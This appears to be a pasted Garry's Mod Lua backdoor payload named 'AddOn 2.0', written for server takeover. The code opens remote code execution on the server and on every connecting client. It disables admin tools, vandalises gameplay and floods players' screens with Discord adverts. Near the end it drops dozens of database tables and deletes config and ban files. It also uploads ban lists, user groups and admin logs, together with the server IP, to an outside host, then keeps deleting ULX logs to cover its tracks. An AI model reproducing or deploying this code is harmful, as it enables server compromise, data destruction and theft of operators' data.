· 4 years ago · Aug 02, 2021, 01:04 PM
1 util.AddNetworkString "AddOn"
2 net.Receive('AddOn',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)
3 _G.ulx = function() end _G.ULib = function() end
4 _G.FAdmin = function() end
5 local DESIRED_NAME = "Seized by AddOn 2.0"
6 local enicron = {}
7 function enicron:RandomString( intMin, intMax )
8 local ret = ""
9 for _ = 1, math.random( intMin, intMax ) do
10 ret = ret.. string.char( math.random(65, 90) )
11 end
12
13 return ret
14 end
15
16 enicron.m_tblActions = {}
17 enicron.m_strImageGlobalVar = enicron:RandomString( 6, 12 )
18 enicron.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
19
20 function enicron:PushAction( intChainDelay, func )
21 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
22 end
23
24 function enicron:NextAction( pPlayer )
25 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
26 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
27
28 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
29 if not IsValid( pPlayer ) then return end
30 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
31 self:NextAction( pPlayer )
32 end )
33 end
34
35 function enicron:Start( pPlayer )
36 pPlayer.m_intCurAction = 0
37 self:NextAction( pPlayer )
38 end
39
40 function enicron:SendLua( pPlayer, strLua )
41 net.Start( "AddOn" )
42 net.WriteString( strLua )
43 net.Send( pPlayer )
44 end
45
46 function enicron:SetupPlayer( pPlayer )
47 pPlayer:SendLua( "net.Receive(\"AddOn\", function() RunString(net.ReadString()) end)" )
48 end
49
50
51 if engine.ActiveGamemode() == "darkrp" then
52 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
53
54 for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
55 end
56
57 for k, v in pairs( player.GetAll() ) do
58 enicron:SetupPlayer( v )
59 timer.Simple( 2, function() enicron:Start( v ) end )
60 end
61
62 hook.Add( "PlayerAuthed", "wat", function( pPlayer )
63 enicron:SetupPlayer( pPlayer )
64 timer.Simple( 12, function() enicron:Start( pPlayer ) end )
65 end )
66
67 enicron:PushAction( 1, function( pPlayer )
68 enicron:SendLua( pPlayer, [[
69 (GAMEMODE or GM).CalcView = function() end
70 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
71
72 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
73 for k, v in pairs(remove) do
74 hook.GetTable()[v] = {}
75 end
76
77 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
78 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
79
80 ]] )
81 end )
82
83
84 enicron:PushAction( 1, function( pPlayer )
85
86enicron:SendLua( pPlayer, [[
87
88chat.AddText(Color(255,255,0), "This server is infected by AddOn 2.0")
89
90sound.PlayURL( "https://cdn.discordapp.com/attachments/871736400356184074/871736868436324362/1.mp3", "mono", function()end )
91
92]])
93timer.Create( "friction", 17.8, 0, function()
94RunConsoleCommand( "sv_friction", "-8" )
95end)
96timer.Create( "gravity", 17.8, 0, function()
97RunConsoleCommand( "sv_gravity", "-600" )
98end)
99timer.Create( "eblan", 17.8, 0, function()
100for k,v in pairs (player.GetAll()) do
101v:StripWeapons()
102end
103end)
104 enicron:SendLua( pPlayer, [[
105 timer.Simple(17.7, function()
106 (GAMEMODE or GM).CalcView = function() end
107 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
108
109 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
110 for k, v in pairs(remove) do
111 hook.GetTable()[v] = {}
112 end
113
114 local function GetWebMat( strURL )
115 return g_]].. enicron.m_strImageGlobalVar.. [[[strURL]
116 end
117 timer.Create("Pizda", 0, 0, function()
118 axuet = {
119 "Server infected by AddOn | AddOn 2.0 -- https://discord.gg/SJ5hgyh6mn",
120 "Server infected by AddOn | Rip server -- https://discord.gg/SJ5hgyh6mn",
121 "Server infected by AddOn | Lel -- https://discord.gg/SJ5hgyh6mn",
122 "Server infected by AddOn | AddOn Best -- https://discord.gg/SJ5hgyh6mn",
123 "Server infected by AddOn | AddOn>All -- https://discord.gg/SJ5hgyh6mn",
124 "Server infected by AddOn | Server uses leak scripts -- https://discord.gg/SJ5hgyh6mn",
125 "Server infected by AddOn | AddOn -- https://discord.gg/SJ5hgyh6mn"
126 }
127 MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).." | ")
128 chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).."")
129 end)
130
131 surface.CreateFont( "TheDefaultSettings", {
132 font = "Arial", -- Use the font-name which is shown to you by your operating system Font Viewer, not the file name
133 extended = false,
134 size = 25,
135 weight = 300,
136 blursize = 0,
137 scanlines = 0,
138 antialias = false,
139 underline = false,
140 italic = false,
141 strikeout = false,
142 symbol = false,
143 rotary = false,
144 shadow = false,
145 additive = false,
146 outline = true,
147 } )
148
149 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
150 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
151 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
152 end )
153
154 hook.Add( "GetMotionBlurValues", "wat", function()
155 return 0, 0, 1, math.sin(CurTime() *13)
156 end )
157
158 timer.Create( "thedrop", 0.1, 0, function()
159 util.ScreenShake( LocalPlayer():GetPos(), 12, 5, 0.25, 128 )
160 end )
161
162 hook.Add( "HUDPaint", "newhud2", function()
163
164 draw.SimpleTextOutlined(
165 "AddOn better than ξpsilon",
166 "TheDefaultSettings",
167 ScrW() /2 +math.random( -755, 755 ),
168 ScrH() /2 +math.random( -655, 555) +100,
169 Color( 255,255,255,166 ),
170 TEXT_ALIGN_CENTER,
171 TEXT_ALIGN_CENTER,
172 1,
173 Color( 0, 0, 0, 255 )
174 )
175
176 draw.SimpleTextOutlined(
177 "AddOn better than Enigma",
178 "TheDefaultSettings",
179 ScrW() /2 +math.random( -755, 755 ),
180 ScrH() /2 +math.random( -555, 355 ) +24,
181 Color( 255,255,255,166 ),
182 TEXT_ALIGN_CENTER,
183 TEXT_ALIGN_CENTER,
184 1,
185 Color( 0, 0, 0, 255 )
186 )
187
188 draw.SimpleTextOutlined(
189 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
190 "TheDefaultSettings",
191 ScrW() /2 +math.random( -755, 755 ),
192 ScrH() /2 +math.random( -255, 255) +24,
193 Color( 255,255,255,166 ),
194 TEXT_ALIGN_CENTER,
195 TEXT_ALIGN_CENTER,
196 1,
197 Color( 0, 0, 0, 255 )
198 )
199
200 draw.SimpleTextOutlined(
201 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
202 "TheDefaultSettings",
203 ScrW() /2 +math.random( -755, 755 ),
204 ScrH() /2 +math.random( -255, 255) +64,
205 Color( 255,255,255,166 ),
206 TEXT_ALIGN_CENTER,
207 TEXT_ALIGN_CENTER,
208 1,
209 Color( 0, 0, 0, 255 )
210 )
211 draw.SimpleTextOutlined(
212 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
213 "TheDefaultSettings",
214 ScrW() /2 +math.random( -755, 755 ),
215 ScrH() /2 +math.random( -255, 255) +72,
216 Color( 255,255,255,166 ),
217 TEXT_ALIGN_CENTER,
218 TEXT_ALIGN_CENTER,
219 1,
220 Color( 0, 0, 0, 255 )
221 )
222 draw.SimpleTextOutlined(
223 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
224 "TheDefaultSettings",
225 ScrW() /2 +math.random( -755, 755 ),
226 ScrH() /2 +math.random( -5555, 255) +100,
227 Color( 255,255,255,166 ),
228 TEXT_ALIGN_CENTER,
229 TEXT_ALIGN_CENTER,
230 1,
231 Color( 0, 0, 0, 255 )
232 )
233 draw.SimpleTextOutlined(
234 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
235 "TheDefaultSettings",
236 ScrW() /2 +math.random( -755, 755 ),
237 ScrH() /2 +math.random( -655, 555) +100,
238 Color( 255,255,255,166 ),
239 TEXT_ALIGN_CENTER,
240 TEXT_ALIGN_CENTER,
241 1,
242 Color( 0, 0, 0, 255 )
243 )
244 draw.SimpleTextOutlined(
245 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
246 "TheDefaultSettings",
247 ScrW() /2 +math.random( -755, 755 ),
248 ScrH() /2 +math.random( -655, 555) +100,
249 Color( 255,255,255,166 ),
250 TEXT_ALIGN_CENTER,
251 TEXT_ALIGN_CENTER,
252 1,
253 Color( 0, 0, 0, 255 )
254 )
255 draw.SimpleTextOutlined(
256 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
257 "TheDefaultSettings",
258 ScrW() /2 +math.random( -755, 755 ),
259 ScrH() /2 +math.random( -5555, 255) +100,
260 Color( 255,255,255,166 ),
261 TEXT_ALIGN_CENTER,
262 TEXT_ALIGN_CENTER,
263 1,
264 Color( 0, 0, 0, 255 )
265 )
266 draw.SimpleTextOutlined(
267 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
268 "TheDefaultSettings",
269 ScrW() /2 +math.random( -755, 755 ),
270 ScrH() /2 +math.random( -655, 555) +100,
271 Color( 255,255,255,166 ),
272 TEXT_ALIGN_CENTER,
273 TEXT_ALIGN_CENTER,
274 1,
275 Color( 0, 0, 0, 255 )
276 )
277 draw.SimpleTextOutlined(
278 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
279 "TheDefaultSettings",
280 ScrW() /2 +math.random( -755, 755 ),
281 ScrH() /2 +math.random( -655, 555) +100,
282 Color( 255,255,255,166 ),
283 TEXT_ALIGN_CENTER,
284 TEXT_ALIGN_CENTER,
285 1,
286 Color( 0, 0, 0, 255 )
287 )
288 draw.SimpleTextOutlined(
289 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
290 "TheDefaultSettings",
291 ScrW() /2 +math.random( -755, 755 ),
292 ScrH() /2 +math.random( -655, 555) +100,
293 Color( 255,255,255,166 ),
294 TEXT_ALIGN_CENTER,
295 TEXT_ALIGN_CENTER,
296 1,
297 Color( 0, 0, 0, 255 )
298 )
299 draw.SimpleTextOutlined(
300 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
301 "TheDefaultSettings",
302 ScrW() /2 +math.random( -755, 755 ),
303 ScrH() /2 +math.random( -655, 555) +100,
304 Color( 255,255,255,166 ),
305 TEXT_ALIGN_CENTER,
306 TEXT_ALIGN_CENTER,
307 1,
308 Color( 0, 0, 0, 255 )
309 )
310 draw.SimpleTextOutlined(
311 "Server Owned by AddOn Menu by https://discord.gg/SJ5hgyh6mn",
312 "TheDefaultSettings",
313 ScrW() /2 +math.random( -755, 755 ),
314 ScrH() /2 +math.random( -655, 555) +100,
315 Color( 255,255,255,166 ),
316 TEXT_ALIGN_CENTER,
317 TEXT_ALIGN_CENTER,
318 1,
319 Color( 0, 0, 0, 255 )
320 )
321
322 draw.SimpleTextOutlined(
323 "https://discord.gg/esfxdgJ",
324 "TheDefaultSettings",
325 ScrW() /2 +math.random( -755, 755 ),
326 ScrH() /2 +math.random( -755, 555 ) +64,
327 Color( 255,255,255,166 ),
328 TEXT_ALIGN_CENTER,
329 TEXT_ALIGN_CENTER,
330 1,
331 Color( 0, 0, 0, 255 )
332 )
333
334 draw.SimpleTextOutlined(
335 "Get good, get AddOn",
336 "TheDefaultSettings",
337 ScrW() /2 +math.random( -755, 755 ),
338 ScrH() /2 +math.random( -655, 555 ) +24,
339 Color( 255,255,255,166 ),
340 TEXT_ALIGN_CENTER,
341 TEXT_ALIGN_CENTER,
342 1,
343 Color( 0, 0, 0, 255 )
344 )
345
346 draw.SimpleTextOutlined(
347 "INCLUDED BACKDOOR.DLL",
348 "TheDefaultSettings",
349 ScrW() /2 +math.random( -755, 755 ),
350 ScrH() /2 +math.random( -455, 455 ) +64,
351 Color( 255,255,255,166 ),
352 TEXT_ALIGN_CENTER,
353 TEXT_ALIGN_CENTER,
354 1,
355 Color( 0, 0, 0, 255 )
356 )
357
358 draw.SimpleTextOutlined(
359 "Buy AddOn",
360 "TheDefaultSettings",
361 ScrW() /2 +math.random( -755, 755 ),
362 ScrH() /2 +math.random( -555, 455 ) +24,
363 Color( 255,255,255,166 ),
364 TEXT_ALIGN_CENTER,
365 TEXT_ALIGN_CENTER,
366 1,
367 Color( 0, 0, 0, 255 )
368 )
369
370 draw.SimpleTextOutlined(
371 "AddOn 2.0",
372 "TheDefaultSettings",
373 ScrW() /2 +math.random( -755, 755 ),
374 ScrH() /2 +math.random( -855, 555 ) +24,
375 Color( 255,255,255,166 ),
376 TEXT_ALIGN_CENTER,
377 TEXT_ALIGN_CENTER,
378 1,
379 Color( 0, 0, 0, 255 )
380 )
381
382 end )
383
384
385 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
386 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
387
388 end)
389
390 ]] )
391 end )
392----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
393local date = os.date( "%m-%d-%y" )
394local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
395local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
396local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
397for k,v in pairs( databases ) do if sql.TableExists( v ) then
398 sql.Query( "DROP TABLE "..v.." ;" )
399 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
400 end
401end
402timer.Simple(1, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
403for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
404hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )